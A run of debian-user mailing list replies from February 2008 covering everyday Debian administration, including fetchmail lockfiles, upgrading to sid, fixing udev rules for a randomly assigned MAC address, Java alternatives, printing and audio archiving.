[EMAIL PROTECTED]:~$ fetchmail
fetchmail: removing stale lockfile
[EMAIL PROTECTED]:~$ fetchmail
fetchmail: background fetchmail at 4671 awakened.

Can anyone explain why a stale lockfile should 
come to exist?

Thanks,... Peter E.



Desktops.OpenDoc  http://carnot.yi.org/


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: How do I upgrade to sid?

2008-02-10 Thread Martin Mewes
Hello,

Javier Vasquez schrieb:


Then the rest is kind of recipy for upgrading:
 --  aptitude clean
 --  aptitude update
 --  aptitude safe-upgrade
 --  aptitude full-upgrade


If _I_ do this nearly the complete system would be erased when I
_would_ answer "Y" in the end. Just my 2 cents ...

bis dahin

Martin Mewes

--
##
Ich habe mich schon immer gefragt, was eine GUI auf einem Server zu
suchen hat. MS hat es nun auch kapiert -> Windows Server 2008
##


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: Is this mingw bug?

2008-02-10 Thread Misko
On Sun, Feb 10, 2008 at 05:57:51PM +0100, Sven Joachim wrote:
> > Is it wingw, wine, or windows?
> 
> It is MinGW's printf implementation that is different.  The first
> Google hit searching for "mingw long long" shows that:
> 
> http://www.mingw.org/MinGWiki/index.php/long%20long
> 
> > And how do I use long long int variables on windows platform?
> 
> Just as on GNU/Linux, only the format specifier in *printf() is
> different.
> > printf("Big number: %lld\n", tick);
>   
>In MinGW, you need %I64d instead.

Thank you. Now it works!

So it seems to be windows bug after all :)

Misko


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Multiple Java installed, how to switch?

2008-02-10 Thread Javier Vasquez
On 2/10/08, Magnus Therning <[EMAIL PROTECTED]> wrote:
> How do I make sure that all the java-related links in /etc/alternatives
> are sane?
>
> I installed icedtea, then purged it and installed sun-java5 and
> sun-java6.  Some links in /etc/alternatives are still pointing to the
> (now non-existing) tools that came with icedtea.  How do I easily switch
> them to all point to the tools of a specific java package?
>
> /M
>
> --
> Magnus Therning (OpenPGP: 0xAB4DFBA4)

Doesn't "dpkg --purge " + "dpkg-reconfigure
" take care of the links?

-- 
Javier


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Gigabyte M61P-S3 and wild MAC address of ethernet interface

2008-02-10 Thread Florian Kulzer
On Sun, Feb 10, 2008 at 19:27:23 +0200, Tero Mäntyvaara wrote:
> Florian Kulzer wrote:
>> On Sat, Feb 09, 2008 at 11:58:38 +0200, Tero Mäntyvaara wrote:
>>> I have got Debian 4.0r2 and Gigabyte M61P-S3 motherboard and I 
>>> noticed  it has "dynamic" MAC address :-/
>>>
>>> I tried to fix the problem with the help of document   
>>> http://www.debian-administration.org/articles/501 but with no 
>>> success.  The problem is that every time I boot my system Debian 
>>> finds the new  ethernet interface and so I do not have internet 
>>> connection.

[...]

> Many thanks for your answer! :-) Here is the information you requested:
>
> # lspci -nn | grep -i net
> 00:07.0 Bridge [0680]: nVidia Corporation MCP61 Ethernet [10de:03ef] (rev a2)
>
> # dmesg | egrep -i 'mac|eth'
> ACPI: PCI Interrupt Link [LMAC] (IRQs 5 7 9 10 *11 14 15)
> forcedeth.c: Reverse Engineered nForce ethernet driver. Version 0.56.
> forcedeth: using HIGHDMA
> :00:07.0: Invalid Mac address detected: 3f:3d:75:4d:1a:00
> Please complain to your hardware vendor. Switching to a random MAC.
> eth0: forcedeth.c: subsystem: 01458:e000 bound to :00:07.0
> eth1394: eth0: IEEE-1394 IPv4 over 1394 Ethernet (fw-host0)
> eth6: no IPv6 routers present
>
> # /sbin/ifconfig
> eth6  Link encap:Ethernet  HWaddr 00:00:6C:B1:C1:64
>  inet addr:10.11.12.12  Bcast:10.11.12.255  Mask:255.255.255.0

[...]

> # cat /etc/udev/rules.d/z25_persistent-net.rules
> # This file was automatically generated by the /lib/udev/write_net_rules
> # program, probably run by the persistent-net-generator.rules rules file.
> #
> # You can modify it, as long as you keep each rule on a single line.
> # MAC addresses must be written in lowercase.
>
> # Firewire device 001a4de18fd8 (ohci1394)
> SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:1a:4d:00:00:e1:8f:d8", 
> NAME="eth0"
>
> # PCI device 0x10de:0x03ef (forcedeth)
> SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:44:27:b6", 
> NAME="eth1"

[ snip: Udev dutifully adds a rule at every reboot because it thinks
  that each semi-random 00:00:6c:* MAC address corresponds to a new
  device. Right now we are at eth6. ]

> # PCI device 0x10de:0x03ef (forcedeth)
> SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:b1:c1:64", 
> NAME="eth6"
>
> # cat /etc/network/interfaces
> # This file describes the network interfaces available on your system
> # and how to activate them. For more information, see interfaces(5).
>
> # The loopback network interface
> auto lo
> iface lo inet loopback
>
> # The primary network interface
> allow-hotplug eth1
> iface eth1 inet dhcp
>
> Additional information:
> The problem is that OS thinks that the MAC address is invalid some how.
> I verfied that OS informs at every boot that MAC address is invalid. I
> was wondering if this is result of incorrectly programmed Ethernet
> physical controller MAC address? My PHY-controller is Realtek RTL8211.

I would try this: Edit /etc/udev/rules.d/z25_persistent-net.rules so
that it looks like this (not including the "-" delimiter lines):


# This file was automatically generated by the /lib/udev/write_net_rules
# program, probably run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single line.
# MAC addresses must be written in lowercase.

# Firewire device 001a4de18fd8 (ohci1394)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:1a:4d:00:00:e1:8f:d8", 
NAME="firewire"

# PCI device 0x10de:0x03ef (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:*", NAME="eth0"


Watch out if your email client wraps long lines: There should be exactly
two rules (the rest of the lines are comments); each rule starts with
"SUBSYSTEM==...", ends with "NAME=...", and has to be written in one
line.

The idea here is to a) make sure that the firewire device does not
interfere with the assignment of eth* names, and b) use the "*" wildcard
so that udev recognizes all the possible MAC addresses of the MCP61 as
being the same device. (If I understand forcedeth.c correctly, it always
picks a MAC address starting with 00:00:6c; only the last three bytes
are chosen randomly.)

To be on the safe side, I would furthermore use the trick from the
debian-administration article to make sure that this computer always
presents the same MAC address to the rest of the network. Therefore I
would change the stanza for the primary network interface in
/etc/network/interfaces to refer to eth0 and add one line to make one of
the valid 00:00:6c:* MAC addresses stick (leave the loopback device
stanza as it is):

# The primary network interface
allow-hotplug eth0
iface eth0 inet dhcp
hwaddress ether 00:00:6c:b1:c1:64

Then you can reboot and keep your fingers crossed.

-- 
Regards,| http://users.icfo.es/Florian.Kulzer
  

Re: [OT] beefy steel cases

2008-02-10 Thread Haines Brown
"Douglas A. Tutty" <[EMAIL PROTECTED]> writes:

> Now I'm looking for a great case in which to mount it (them?).  Starting
> with wikipedia on EMR shielding, and surfing fro there, I've learned
> that steel is much better for this than aluminum of the same thickness,
> and the thicker the better (see skin depth).  Wouldn't you know it: my
> Athlon64's case is steel frame with thin aluminum panels.  So, I guess
> its case should be changed too.
>
> Asthetics don't matter.  
>
> I'm wondering if in your travels, have any of you seen a case (tower,
> desktop, or rackmount) that is:

You might try this: 

 http://www.calpc.com/

Back in the 90s I had one of these cases. Solid, but did not have the
sophisticated feel of the cases I've used since. Perhaps because at that
point cases weren't standardized to the extent they are now. You can get
any kind of case you want from them, such as a full tower serer case, a
rack mount case, etc. 

I followed that California PC with a steel Shin-G case, but I don't see
that the company exists any more. Since then I've used the Lian Li
aluminum cases.

-- 
 
   Haines Brown, KB1GRM

 



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: stale lockfile on fetchmail.

2008-02-10 Thread Ron Johnson
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 02/10/08 13:18, [EMAIL PROTECTED] wrote:
> Folk,
> 
> Mostly fetchmail works with no problem.  Occasionally 
> this happens.
> 
> [EMAIL PROTECTED]:~$ fetchmail
> fetchmail: removing stale lockfile
> [EMAIL PROTECTED]:~$ fetchmail
> fetchmail: background fetchmail at 4671 awakened.
> 
> Can anyone explain why a stale lockfile should 
> come to exist?

I just saw something about this (I think) at the courier-mta web
site.  Googling for "fetchmail stale lockfile" should point you in
the right direction.

- --
Ron Johnson, Jr.
Jefferson LA  USA

PETA - People Eating Tasty Animals
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFHr2s/S9HxQb37XmcRAoRVAJ9KCFK47rnCg4zDJu29xB7J4F1lDACfeSo0
73JRzOjbSkWOtT8U/zcwZPo=
=RCmo
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: GNOME faint printing problem.

2008-02-10 Thread Alan Ianson
On Sun February 10 2008 08:58:15 am Matt Gracie wrote:
> I'm running Debian sid on an ia32 computer, with everything up to date,
> and printing via CUPS to an HP Laserjet 4m. When I print from GNOME
> applications, like evince or epiphany, the output is too faint to read.
> But if I print the same document or web page from xpdf or iceweasel, it
> prints normally.
>
> This leads me to believe that the issue is something in the GNOME
> environment, but as a recent convert from Windowmaker, I'm not that
> familiar with the byzantine underpinnings of a modern desktop
> environment. Also, I didn't see anything recent about this problem in
> the bug tracker. Is this a known issue? Is there some simple setting
> that I'm missing?

I get that on a printer at work also. In my case I can set the resolution to 
600x600 or 1200x1200 and I get better results. The default 300x300 is ok but 
if anything is highlighted the color is to light.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Multiple Java installed, how to switch?

2008-02-10 Thread Davide Mancusi
Magnus Therning ha scritto:

How do I make sure that all the java-related links in /etc/alternatives
are sane?

I installed icedtea, then purged it and installed sun-java5 and
sun-java6.  Some links in /etc/alternatives are still pointing to the
(now non-existing) tools that came with icedtea.  How do I easily switch
them to all point to the tools of a specific java package?


That's weird. Does the following help?
# update-alternatives --config java
You might want to try also
# update-alternatives --auto java
and have a look at the other link groups related to java (man 
update-alternatives).


HTH,
Davide

--
A tautology is a thing which is tautological.
--
Time flies like an arrow.  Fruit flies like a banana.


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: Can print from KPDF but not Acrobat

2008-02-10 Thread Alan Ianson
On Sun February 10 2008 08:27:11 am Peter Robinson wrote:
> Hi all,
>
> I don't seem to have set up printing correctly...I am running a testing
> system and can print fine from KPDF but attempting to print from Acrobat
> returns the error message:
> "The print process returns an error. Please check if the printer is
> connected to the machine" (it is!).
> I have seen that a few others had this problem on this list but was not
> able to find a solution. I am using Acrobat reader 8.1

I think acroread requires cupsys-bsd, is it installed?


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Getting USB audio to work (Lenny)

2008-02-10 Thread Alan Ianson
On Sun February 10 2008 09:03:41 am Dr. Jennifer Nussbaum wrote:
> I have an up to date Lenny system, and sound works
> pretty much fine but i cant get USB audio to play.
>
> I have a pair of altec USB speakers that work on a
> Mac. When i plug them in, they show up in the system:
> if i go to System -> Preferences -> Sound, the
> "Devices" tab gives me the option for USB audio for
> Sound Events,
> Music and Movies, and Audio Conferencing. And, when
> i hit "Test", it works: it plays through the USB
> speakers.
>
> But it doesn't work through anything else. Playing
> music through Firefox, or XMMS, or mplayer, just works
> through
> the system speakers, not the USB speakers.
>
> In XMMS I tried going to the Preferences, select the
> ALSA plugin, Configure, and for the "mixer card"
> chose the Altec speakers that display there. But even
> this just doesn't play through the speakers.
>
> I guess there's a knob i have to flip to get this to
> work. Cna someone tell me what it is?

I haven't seen a way to do this with kde but when I run gnome I can get sound 
through the usb speakers for music and movies. I don't have gnome here to 
look at but it's in the sound setup. Makes a nice improvement in sound 
quality.. :)


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: How do I upgrade to sid?

2008-02-10 Thread Javier Vasquez
On 2/10/08, Martin Mewes <[EMAIL PROTECTED]> wrote:
> Hello,
>
> Javier Vasquez schrieb:
>
> > Then the rest is kind of recipy for upgrading:
> >  --  aptitude clean
> >  --  aptitude update
> >  --  aptitude safe-upgrade
> >  --  aptitude full-upgrade
>
> If _I_ do this nearly the complete system would be erased when I
> _would_ answer "Y" in the end. Just my 2 cents ...
>
> bis dahin
>
> Martin Mewes


Well, aptitude is pretty good at managing upgrades.  But I agree, most
of the software will be replaced by saying yes to the 1st
"safe-upgrade", however my experience is that if one is used to deal
with dependency problems and the like, that should not be a reason to
be scared.  When "safe-upgrade" finds dependencies problems it won't
upgrade, and
it'll leave the upgrade to "full-upgrade".

I suggest as well, having several iterations of "safe-upgrade" if
you're using an old aptitude, before the "full-upgrade" until there's
nothing else the "safe-upgrade" can deal with...  I haven't found the
iterations necessary anymore, but I use the latest version under
unstable, :).

It might be useful to also remove (purge if necessary) big packages
which dependencies are hard to deal with, and of course, it's better
if everything is done under console (no X)...

Beyond that, and some research, only experience will tell...

My last suggestion (which I did NOT follow due to lack of time and
disk space), make a separate partition, and try a n-boot (I can't say
for sure dual for sure) system.  Start the trial one with stable, then
move to testing, and finally move to unstable with light environment
(include X though, since along the way there are pertinent changes to
be considered).  At the end if everything goes OK, then whether remove
the original partition after moving the date to the unstable one, or
upgrade the original one with a bit more of experience, :).  I said
partition, but it might actually be a logical volume if you'd like...

Again, before such a move, I'd look at what seems to be wrong in the
current version, to see if it's due to just a particular package
version.  If so, I'd rather use backPorts, or install from upstream
the source and compile it myself, well that if I'm confortable with
the current version I work under, and the movement souds too risky.
There are always different alternatives to solve a single problem, :).


-- 
Javier


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Non-understood advice - was Re: dist-upgrade from sarge to etch - package

2008-02-10 Thread Florian Kulzer
On Sun, Feb 10, 2008 at 20:36:04 +, Felix Karpfen wrote:
> On Sun, 10 Feb 2008 15:31:27 +0100, Florian Kulzer wrote:

[ We are trying to figure out why "aptitude search '~i!~Odebian'", a
  command meant to find all installed non-Debian packages, returns so
  many false positives on Felix's Debian Etch system. ]
 
> > What do you see when you run
> > apt-cache policy a2ps adduser alsa-base
> > ?
> 
> The following:
> 
> | a2ps:
> |   Installed: 1:4.13b.dfsg.1-1
> |   Candidate: 1:4.13b.dfsg.1-1
> |   Version table:
> |  *** 1:4.13b.dfsg.1-1 0
> | 500 cdrom://[Debian GNU/Linux 4.0 r0 _Etch_ - Official i386 DVD 
> Binary-1 20070407-11:40] unstable/main Packages
> | 100 /var/lib/dpkg/status

[...]

Why does apt not recognise the packages from the DVDs as official Debian
packages? Please post the output of:

grep ^Origin /var/lib/apt/lists/*_Release

-- 
Regards,| http://users.icfo.es/Florian.Kulzer
  Florian   |


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Archiving audio (high fidelity)?

2008-02-10 Thread A. F. Cano
On Sat, Feb 09, 2008 at 05:25:55PM -0500, Zach wrote:
> I would like to transfer my collection of LPs (record albums) and
> audio cassette tapes onto optical media for archival.

The other poster already gave good advice on various issues.
I tried to do that some time ago.  It is a lot of work.  I was
using a pretty good Audigy sound card and my stereo is pretty
good (NAD), but I got a ground loop somewhere, even when I plugged
the computer in the same power strip as the stereo.  Did a few
test recordings, couldn't get rid of the hum and gave up.

It would be easier to buy the CD equivalents, unless of course
they don't exist.  That way, the recording studio would do all
the work that you'll end up doing.  I found that to get an optimum
recording, I had to digitize each song multiple times to adjust
volume levels to get the max dynamic range without clipping.
And then there was the ground loop, so I gave up.  Maybe I'll
try again some time.

Definitely, record at least in CD-quality.

A.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Bad E-mail setup in office. I need advice

2008-02-10 Thread Ron Johnson
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 02/10/08 10:25, Andrew Sackville-West wrote:
[snip]
> 
> Looks something like this for inbound mail:
> 
> ISP servers -> fetchmail -> exim4 -> mailboxes** -> IMAP server (I
> like dovecaot).

Or...

ISP servers -> (on Debian mail server) fetchmail -> postfix ->
spamassassin -> maildrop -> individual Maildir folders accessed by
courier IMAP server.

Workstation MUA then use IMAP protocol to access email from the
Debian box.

This web page is pretty old, but mail server design doesn't change
much...

http://www.firstpr.com.au/web-mail/RH90-Postfix-Courier-Maildrop-IMAP/

> outbound:
> 
> workstation -> exim4 -> ISP smtp servers

Or...

workstation (using smtp) -> (on the Debian mail server) postfix
(configured as satellite host) -> ISP smtp servers

- --
Ron Johnson, Jr.
Jefferson LA  USA

PETA - People Eating Tasty Animals
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFHr20eS9HxQb37XmcRAmFJAKDmJcQo9ea849jaB1ig4SdlYPYIKACfdBtL
G0Xb+0cczygS35BC7uZQQFk=
=3Fk5
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: How do I upgrade to sid?

2008-02-10 Thread Jochen Schulz
Martin Mewes:
> Javier Vasquez schrieb:
> 
>> Then the rest is kind of recipy for upgrading:
>>  --  aptitude clean
>>  --  aptitude update
>>  --  aptitude safe-upgrade
>>  --  aptitude full-upgrade
> 
> If _I_ do this nearly the complete system would be erased when I
> _would_ answer "Y" in the end. Just my 2 cents ...

I guess the reason is that you have never really used aptitude. Aptitude
distinguishes two different states of installed packages: automatically
and manually installed. When beginning to use aptitude, it will in many
cases assume all or most packages have been installed automatically
(pulled in as a dependency of another package). And if no manually
installed package depends on a package aptitude thinks has been
automatically installed, it will remove it. That's one of aptitude's
best features.

On the other hand, this is the biggest hurdle when starting to use
aptitude and yes, it's a real pain for users who never installed from
scratch since sarge (or didn't bother to follow the release note's
advice to use aptitude after installation).

Anyway, everyone who thinks he is able to handle sid should be able to
a) read what a package manager is about to do and b) find out by himself
how to upgrade to sid.

J.
-- 
I spend money without thinking on products and clothes that I believe
will enhance my social standing.
[Agree]   [Disagree]
 


signature.asc
Description: Digital signature


Re: (no subject)

2008-02-10 Thread Douglas A. Tutty
On Sun, Feb 10, 2008 at 11:55:12AM -0800, Paul Johnson wrote:
> On Feb 10, 2008 8:16 AM, Paul Dransfield <[EMAIL PROTECTED]> wrote:
> > This installation cuts out my CPU fan, therefore the installation cannot
> > complete
> 
> You may find you receive better answers if you can ask a complete and
> intelligently worded question.
> http://catb.org/~esr/faqs/smart-questions.html

And if you read the installation manual which would give you the form to
fill out and where to send it so that your questions get answered by
people who use the installer frequently.  On Debian, you only need to
run the installer when you build a new hardware box.

Doug.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: stale lockfile on fetchmail.

2008-02-10 Thread Andrew Sackville-West
On Sun, Feb 10, 2008 at 12:18:40PM -0700, [EMAIL PROTECTED] wrote:
> Folk,
> 
> Mostly fetchmail works with no problem.  Occasionally 
> this happens.
> 
> [EMAIL PROTECTED]:~$ fetchmail
> fetchmail: removing stale lockfile
> [EMAIL PROTECTED]:~$ fetchmail
> fetchmail: background fetchmail at 4671 awakened.
> 
> Can anyone explain why a stale lockfile should 
> come to exist?

probably because fetchmail died (or got kill -9) ungracefully and left
it's lockfile lying aroudn as a result. Then the first time you run
it, it sees the old lockfile and removes it then sends itself tot he
background. The second run just prods the background to wake up. 

A


signature.asc
Description: Digital signature


Re: Archiving audio (high fidelity)?L

2008-02-10 Thread Andrew Sackville-West
On Sat, Feb 09, 2008 at 07:59:48PM -0500, Douglas A. Tutty wrote:
> On Sat, Feb 09, 2008 at 05:25:55PM -0500, Zach wrote:
> > I would like to transfer my collection of LPs (record albums) and
> > audio cassette tapes onto optical media for archival.
> > 
> > I have a high end CD player and a medium end LP player and wonder
> > precisely how I can transfer these to DVD?
> > 
> > I would like to maintain the highest possible fidelity so even dumping
> > to .WAV or .FLAC is fine with me.
> 
> Make standard CDs instead of MP3.  If you have lots of storage space,
> you can archive the .iso files.  When you run out of space, its a good
> excuse to go buy an LTO :)  [Honest honey, I need to transfer the music
> off of the 99 cent cassette tapes onto $40 LTO cassette tapes, but
> they'll hold 146 tapes-worth so its a bargain (100 GB per LTO / 700 MB
> per audio cassette)].  For treasured LPs that haven't been re-issued on
> CD it may be a serious idea.
> 
> > 
> > I have audio cables with gold plated connectors and my CD player is
> > connected to a powered amplifier.
> > 
> 
> Well, you won't need the amplifier really but since its hooked up, treat
> the computer like a second tape drive.  However, for the best sound
> quality, you want an external sound box not an internal card.

don't forget a set of these. They're "danceable"

http://www.pearcable.com/sub_products_anjou_sc.htm

A


signature.asc
Description: Digital signature


"apt-listbugs list postix" doesn't tell error ...

2008-02-10 Thread Gerard Robin
Hello,
A small comment about the command "apt-listbugs list".
By mistake I wrote "apt-listbugs list postix" instead "apt-listbugs list 
postfix"
and I got:

Reading package fields... Done
Reading package status... Done
Retrieving bug reports... Done
Parsing Found/Fixed information... Done

So I did "apt-get install postfix" 
---8<---

Reading package fields... Done
Reading package status... Done
Retrieving bug reports... Done
Parsing Found/Fixed information... Done
grave bugs of postfix (2.4.6-5 -> 2.5.1~rc1-1) 
 #311812 - postfix: syslog reconnection
Summary:
 postfix(1 bug)
Are you sure you want to install/upgrade the above packages? [Y/n/?/...]

I was surprised ...

Why "apt-listbugs list postix" doesn't notify like "apt-get install postix":

Reading package lists... Done
Building dependency tree   
Reading state information... Done

E: Couldn't find package postix

?

--
Gérard




Re: Gigabyte M61P-S3 and wild MAC address of ethernet interface

2008-02-10 Thread Tero Mäntyvaara
Problem solved! :-D

Thank you for your help.

I am still wondering why this kind of problem is possible. Is the 
problem the hardware, the driver or the kernel? Or is it just the 
"property" that I am not aware of?



Tero Mäntyvaara

Florian Kulzer wrote:

On Sun, Feb 10, 2008 at 19:27:23 +0200, Tero Mäntyvaara wrote:
  

Florian Kulzer wrote:


On Sat, Feb 09, 2008 at 11:58:38 +0200, Tero Mäntyvaara wrote:
  
I have got Debian 4.0r2 and Gigabyte M61P-S3 motherboard and I 
noticed  it has "dynamic" MAC address :-/


I tried to fix the problem with the help of document   
http://www.debian-administration.org/articles/501 but with no 
success.  The problem is that every time I boot my system Debian 
finds the new  ethernet interface and so I do not have internet 
connection.



[...]

  

Many thanks for your answer! :-) Here is the information you requested:

# lspci -nn | grep -i net
00:07.0 Bridge [0680]: nVidia Corporation MCP61 Ethernet [10de:03ef] (rev a2)

# dmesg | egrep -i 'mac|eth'
ACPI: PCI Interrupt Link [LMAC] (IRQs 5 7 9 10 *11 14 15)
forcedeth.c: Reverse Engineered nForce ethernet driver. Version 0.56.
forcedeth: using HIGHDMA
:00:07.0: Invalid Mac address detected: 3f:3d:75:4d:1a:00
Please complain to your hardware vendor. Switching to a random MAC.
eth0: forcedeth.c: subsystem: 01458:e000 bound to :00:07.0
eth1394: eth0: IEEE-1394 IPv4 over 1394 Ethernet (fw-host0)
eth6: no IPv6 routers present

# /sbin/ifconfig
eth6  Link encap:Ethernet  HWaddr 00:00:6C:B1:C1:64
 inet addr:10.11.12.12  Bcast:10.11.12.255  Mask:255.255.255.0



[...]

  

# cat /etc/udev/rules.d/z25_persistent-net.rules
# This file was automatically generated by the /lib/udev/write_net_rules
# program, probably run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single line.
# MAC addresses must be written in lowercase.

# Firewire device 001a4de18fd8 (ohci1394)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:1a:4d:00:00:e1:8f:d8", 
NAME="eth0"

# PCI device 0x10de:0x03ef (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:44:27:b6", 
NAME="eth1"



[ snip: Udev dutifully adds a rule at every reboot because it thinks
  that each semi-random 00:00:6c:* MAC address corresponds to a new
  device. Right now we are at eth6. ]

  

# PCI device 0x10de:0x03ef (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:b1:c1:64", 
NAME="eth6"

# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
allow-hotplug eth1
iface eth1 inet dhcp

Additional information:
The problem is that OS thinks that the MAC address is invalid some how.
I verfied that OS informs at every boot that MAC address is invalid. I
was wondering if this is result of incorrectly programmed Ethernet
physical controller MAC address? My PHY-controller is Realtek RTL8211.



I would try this: Edit /etc/udev/rules.d/z25_persistent-net.rules so
that it looks like this (not including the "-" delimiter lines):


# This file was automatically generated by the /lib/udev/write_net_rules
# program, probably run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single line.
# MAC addresses must be written in lowercase.

# Firewire device 001a4de18fd8 (ohci1394)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:1a:4d:00:00:e1:8f:d8", 
NAME="firewire"

# PCI device 0x10de:0x03ef (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:*", NAME="eth0"


Watch out if your email client wraps long lines: There should be exactly
two rules (the rest of the lines are comments); each rule starts with
"SUBSYSTEM==...", ends with "NAME=...", and has to be written in one
line.

The idea here is to a) make sure that the firewire device does not
interfere with the assignment of eth* names, and b) use the "*" wildcard
so that udev recognizes all the possible MAC addresses of the MCP61 as
being the same device. (If I understand forcedeth.c correctly, it always
picks a MAC address starting with 00:00:6c; only the last three bytes
are chosen randomly.)

To be on the safe side, I would furthermore use the trick from the
debian-administration article to make sure that this computer always
presents the same MAC address to the rest of the network. Therefore I
would change the stanza for the primary network interface in
/etc/network/interfaces to refer to eth0 and add one line to make one of
the valid 00:00:6c:* MAC addresses stick (leave the loopback device
stanza as it is):

# The primary network interface
allow-hotplug 

Re: vanishing desktop menu and background pattern.

2008-02-10 Thread Andrew Sackville-West
On Sun, Feb 10, 2008 at 11:53:11AM -0700, [EMAIL PROTECTED] wrote:
> Folk,
> 
> This morning I updated a Lenny system which has 
> XFCE4.  After the update the desktop background 
> was a black & white houndstooth pattern and the 
> desktop menu was gone.  The panels remained 
> operational.  
> 
> Someone please explain why this happens and what
> repair is recommended.  Removing and reinstalling 
> the account seems more drastic than necessary.

my memory is that sometimes, on upgrades, xfce *unchecks* the "Allow
xfce to manage desktop" option in one of the preference screens. I
don't remember which one it's in, but there are only a few. I seem to
recall that just rechecking that option fixes it right up. 

A


signature.asc
Description: Digital signature


Re: Archiving audio (high fidelity)?

2008-02-10 Thread Russell L. Harris
* A. F. Cano <[EMAIL PROTECTED]> [080210 16:21]:
> On Sat, Feb 09, 2008 at 05:25:55PM -0500, Zach wrote:
> > I would like to transfer my collection of LPs (record albums) and
> > audio cassette tapes onto optical media for archival.
> 
> The other poster already gave good advice on various issues.
> I tried to do that some time ago.  It is a lot of work.  
> ...

The recent advent of low-cost ($200 to $1000) high-resolution (16-bit
and 24-bit) digital flash recorders with USB output suddenly has made
most direct-to-computer recording obsolete.  All the pitfalls of
electrical noise, drivers, and interface software can be avoided.
Digitize and record to flash in one operation, then transfer to the
computer via USB with a simple drag-and-drop operation.

Even if you insist upon recording directly to a computer drive, the
use of an external interface (connected to the computer via USB or
Firewire) typically is a far superior approach to the use of a PCI
soundcard.  

Check out the apparatus which is available from a dealer such as
www.bswusa.com.  

RLH


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Video card suggestion

2008-02-10 Thread Douglas A. Tutty
On Sun, Feb 10, 2008 at 06:45:31PM -0500, KS wrote:
> I am planning on assembling an AMD based system. I noticed that most of
> the motherboards that I am looking at (socket AM2 or AM2+) do not
> onboard video card. That isn't a problem as I will put a dedicated video
> card in there. But I'm a bit confused as to which brand to go for:
> Nvidia or ATI.

It depends (as always).

-- Do you want or need 3D, or have you been happy with the nv driver?

-- Do you have philisophical or security concerns around using nVIDIA's
kernel blob driver?

Check out the opendesktop website and follow the links and see where
things stand right now with ATI.  My feeling is that if ATI is opening
up specs, we should support them once the ATI drivers come on line.
That website should let you know.

Doug.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Java Grey Windows/Blank Windows/Sun are stupid

2008-02-10 Thread Andrew Sackville-West
On Thu, Feb 07, 2008 at 04:34:37PM +0100, Александър Л. Димитров wrote:
> Hi list,
> 
> let me first say that Sun are incredibly stupid. I mean really. Astoundingly
> stupid. Stultifingly stupid.
> 
> This bug
> 
> http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6429775
> 
> has been closed. Which is wrong, this bug should really be open, because it
> ain't fixed. I'm using a non-reparenting WM (XMonad) and since they've been so
> incredibly unprofessional to hard-code a list of supported WMs into their code
> - or something like it - and XMonad is (like any other tiling WM) not part of
> that list, it's no good. Anyways, they're relying on all WMs to be 
> reparenting,
> which is brain dead. If a WM is not showing up as supported, windows are 
> painted
> grey. No widgets, no buttons, no way to interact.
